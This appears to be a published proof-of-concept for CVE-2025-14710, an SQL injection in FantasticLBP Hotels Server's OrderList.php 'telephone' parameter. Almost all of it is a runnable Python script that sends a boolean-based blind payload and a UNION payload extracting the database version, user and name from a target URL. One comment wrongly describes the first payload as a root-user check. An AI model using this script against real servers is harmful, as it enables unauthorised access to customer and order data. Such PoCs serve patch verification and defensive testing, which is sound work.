CVE-2025-14710 FantasticLBP Hotels Server OrderList.php SQL注入漏洞

import requests import sys # CVE-2025-14710 PoC - FantasticLBP Hotels Server SQL Injection # Target: /controller/api/OrderList.php # Parameter: telephone # Type: Boolean-based blind SQL injection def exploit(target_url, phone_payload): """ Exploit SQL injection in FantasticLBP Hotels Server Target: /controller/api/OrderList.php Vulnerable parameter: telephone """ params = { 'telephone': phone_payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text, response.status_code except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None, None # Example payloads for testing if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_14710.py <target_url>") print("Example: python cve_2025_14710.py http://victim.com/controller/api/OrderList.php") sys.exit(1) target = sys.argv[1] # Test basic injection print("[*] Testing CVE-2025-14710 SQL Injection...") # Boolean-based blind SQL injection payload # Checks if current user is root payload = "' OR (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" print(f"[*] Sending payload: {payload}") result, status = exploit(target, payload) if result: print(f"[+] Response status: {status}") print(f"[+] Response preview: {result[:500]}") # Additional payloads for data extraction # UNION-based injection to extract database version union_payload = "' UNION SELECT NULL,version(),user(),database()-- -" print(f"[*] Testing UNION payload: {union_payload}") result, status = exploit(target, union_payload)